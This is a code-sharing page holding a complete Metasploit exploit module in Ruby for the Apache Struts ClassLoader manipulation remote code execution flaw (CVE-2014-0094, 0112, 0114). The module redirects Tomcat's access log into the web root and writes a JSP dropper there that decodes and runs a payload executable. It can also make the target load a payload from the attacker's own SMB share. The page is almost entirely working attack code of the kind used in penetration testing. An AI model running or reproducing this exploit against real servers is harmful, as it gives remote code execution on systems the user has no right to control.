扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # It's going to manipulate the Class Loader include Msf::Exploit::FileDropper include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SMB::Server::Share def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution', 'Description'=> %q{ This module exploits a remote command execution vulnerability in Apache Struts versions 1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due to the ParametersInterceptor. Both allow access to 'class' parameter that is directly mapped to getClass() method and allows ClassLoader manipulation. As a result, this can allow remote attackers to execute arbitrary Java code via crafted parameters. }, 'Author' => [ 'Mark Thomas', # Vulnerability Discovery 'Przemyslaw Celej', # Vulnerability Discovery 'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module 'Matthew Hall <hallm[at]sec-1.com>' # SMB target ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2014-0094'], ['CVE', '2014-0112'], ['CVE', '2014-0114'], ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'], ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'], ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'], ['URL', 'https://github.com/rgielen/struts1filter/tree/develop'] ], 'Platform' => %w{ linux win }, 'Payload'=> { 'Space' => 5000, 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets'=> [ ['Java', { 'Arch' => ARCH_JAVA, 'Platform' => %w{ linux win } }, ], ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Mar 06 2014', 'DefaultTarget'=> 1)) register_options( [ Opt::RPORT(8080), OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]), OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]) ], self.class) deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS') end def jsp_dropper(file, exe) dropper = <<-eos <%@ page import=\"java.io.FileOutputStream\" %> <%@ page import=\"sun.misc.BASE64Decoder\" %> <%@ page import=\"java.io.File\" %> <% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %> <% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %> <% oFile.flush(); %> <% oFile.close(); %> <% File f = new File(\"#{file}\"); %> <% f.setExecutable(true); %> <% Runtime.getRuntime().exec(\"./#{file}\"); %> eos dropper end def dump_line(uri, cmd = '') res = send_request_cgi({ 'uri' => uri, 'encode_params' => false, 'vars_get' => { cmd => '' }, 'version' => '1.1', 'method'=> 'GET' }) res end def modify_class_loader(opts) cl_prefix = case datastore['STRUTS_VERSION'] when '1.x' then "class.classLoader" when '2.x' then "class['classLoader']" end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'version' => '1.1', 'method'=> 'GET', 'vars_get' => { "#{cl_prefix}.resources.context.parent.pipeline.first.directory"=> opts[:directory], "#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix], "#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix], "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format] } }) res end def check_log_file(hint) uri = normalize_uri("/", @jsp_file) print_status("Waiting for the server to flush the logfile") 10.times do |x| select(nil, nil, nil, 2) # Now make a request to trigger payload vprint_status("Countdown #{10-x}...") res = dump_line(uri) # Failure. The request timed out or the server went away. fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil? # Success if the server has flushed all the sent commands to the jsp file if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/ print_good("Log file flushed at http://#{peer}/#{@jsp_file}") return true end end false end # Fix the JSP payload to make it valid once is dropped # to the log file def fix(jsp) output = "" jsp.each_line do |l| if l =~ /<%.*%>/ output << l elsif l =~ /<%/ next elsif l=~ /%>/ next elsif l.chomp.empty? next else output << "<% #{l.chomp} %>" end end output end def create_jsp if target['Arch'] == ARCH_JAVA jsp = fix(payload.encoded) else if target['Platform'] == 'win' payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform}) else payload_exe = generate_payload_exe end payload_file = rand_text_alphanumeric(4 + rand(4)) jsp = jsp_dropper(payload_file, payload_exe) register_files_for_cleanup(payload_file) end jsp end def exploit if target.name =~ /Remote SMB Resource/ begin Timeout.timeout(datastore['SMB_DELAY']) { super } rescue Timeout::Error # do nothing... just finish exploit and stop smb server... end else class_loader_exploit end end # Used with SMB targets def primer self.file_name << '.jsp' self.file_contents = payload.encoded print_status("JSP payload available on #{unc}...") print_status("Modifying Class Loader...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'version' => '1.1', 'method'=> 'GET', 'vars_get' => { 'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}" } }) jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/') jsp_shell << "/#{self.file_name}" print_status("Accessing JSP shell at #{jsp_shell}...") send_request_cgi({ 'uri' => normalize_uri(jsp_shell), 'version' => '1.1', 'method'=> 'GET', }) end def class_loader_exploit prefix_jsp = rand_text_alphanumeric(3+rand(3)) date_format = rand_text_numeric(1+rand(4)) @jsp_file = prefix_jsp + date_format + ".jsp" # Modify the Class Loader print_status("Modifying Class Loader...") properties = { :directory=> 'webapps/ROOT', :prefix => prefix_jsp, :suffix => '.jsp', :file_date_format => date_format } res = modify_class_loader(properties) unless res fail_with(Failure::TimeoutExpired, "#{peer} - No answer") end # Check if the log file exists and has been flushed unless check_log_file(normalize_uri(target_uri.to_s)) fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") end register_files_for_cleanup(@jsp_file) # Prepare the JSP print_status("Generating JSP...") jsp = create_jsp # Dump the JSP to the log file print_status("Dumping JSP into the logfile...") random_request = rand_text_alphanumeric(3 + rand(3)) uri = normalize_uri('/', random_request) jsp.each_line do |l| unless dump_line(uri, l.chomp) fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...") end end # Check log file... enjoy shell! check_log_file(random_request) # No matter what happened, try to 'restore' the Class Loader properties = { :directory=> '', :prefix => '', :suffix => '', :file_date_format => '' } modify_class_loader(properties) end end |
体验盒子
